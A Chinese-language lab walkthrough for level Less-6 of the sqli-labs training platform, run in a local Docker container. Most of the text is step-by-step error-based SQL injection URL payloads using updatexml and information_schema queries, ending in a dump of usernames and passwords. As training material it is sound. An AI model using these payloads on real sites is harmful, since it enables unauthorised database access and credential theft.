摘要 {#摘要}
这篇文章介绍了如何使用SQL注入攻击漏洞来获取网站的敏感信息。作者使用了一个名为sqli-labs的漏洞测试平台,并使用Less-6漏洞来演示如何进行SQL注入攻击。作者使用HackBar插件来辅助进行攻击,并逐步介绍了如何判断注入点、显错位、库名、表名、列名和数据。最终,作者成功地获取了网站的用户名和密码。这篇文章对于想要了解SQL注入攻击的初学者来说非常有用。
前言 {#前言}
这关跟Less-5做法一样,只是闭合方式有点区别
实验环节 {#实验环节}
前期准备 {#前期准备}
su - root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令
浏览器访问Less-6的地址
打开HackBar插件
判断是否存在注入 {#判断是否存在注入}
http://192.168.199.129/Less-6/?id=1\
#如下图可根据页面报错信息得知sql语句是双引号闭合
http://192.168.199.129/Less-6/?id=1" and 1=1 -- xz
判断显错位 {#判断显错位}
http://192.168.199.129/Less-6/?id=-1" union select 1,2,3 -- xz
#发现页面无回显,我们用报错查询来查询库名
判断库名 {#判断库名}
http://192.168.199.129/Less-6/?id=1" and updatexml(1,concat(0x7e,(database()),0x7e),1) -- xz
判断表名 {#判断表名}
#使用group_concat查询全部
http://192.168.199.129/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- xz
#使用limit语法
http://192.168.199.129/Less-6/?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) -- xz
判断列名 {#判断列名}
http://192.168.199.129/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- xz
判断数据 {#判断数据}
http://192.168.199.129/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) -- xz